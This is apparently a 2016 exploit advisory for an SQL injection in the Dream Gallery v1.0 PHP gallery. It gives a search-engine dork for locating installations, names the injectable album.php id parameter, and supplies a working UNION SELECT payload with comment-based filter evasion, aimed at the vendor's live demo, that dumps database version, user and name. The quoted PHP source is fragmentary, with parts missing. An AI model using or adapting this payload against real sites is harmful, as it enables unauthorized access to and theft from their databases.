[+] Sql Injection on Dream Gallery v1.0 [+] Date: 10/01/2016 [+] Risk: High [+] CWE Number : CWE-89 [+] Author: Felipe Andrian Peixoto [+] Vendor Homepage: http://clareslab.com.br/ [+] Software Demo : http://clareslab.com.br/dream/ [+] Contact: felipe_andrian@hotmail.com [+] Tested on: Windows 7 and Gnu/Linux [+] Dork: intitle:"Dream Gallery - Admin" // use your brain ;) [+] Admin Page: http://host/admin/ [+] Exploit : http://host/patch//album.php?id= [SQL Injection] [+] Vulnerable File : query( "select * from albuns order by album_name asc" )->fetchAll(); if ( $db->rows >= 1 ) { $albuns = $db->data; foreach ( $albuns as $album ) { $a = ( object ) $album; $db->query( "select * from fotos where foto_album = $a->album_id order by foto_pos asc" )->fetchAll(); if ( $db->rows >= 1 ) { $f = ( object ) $db->data[0]; ?>

album_name ) ?>

rows ?> foto(s)
[+] PoC : http://clareslab.com.br/dream/album.php ?id=658+and+1*2*3=6+and+0+/*!12345union*/+/*!12345select*/+1,group_concat(0x53716c20496e6a656374696f6e20447265616d2047616c6c657279202d2046656c69706520416e647269616e20506569786f746f,0x3c62723e,version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8,9,10--+ [+] EOF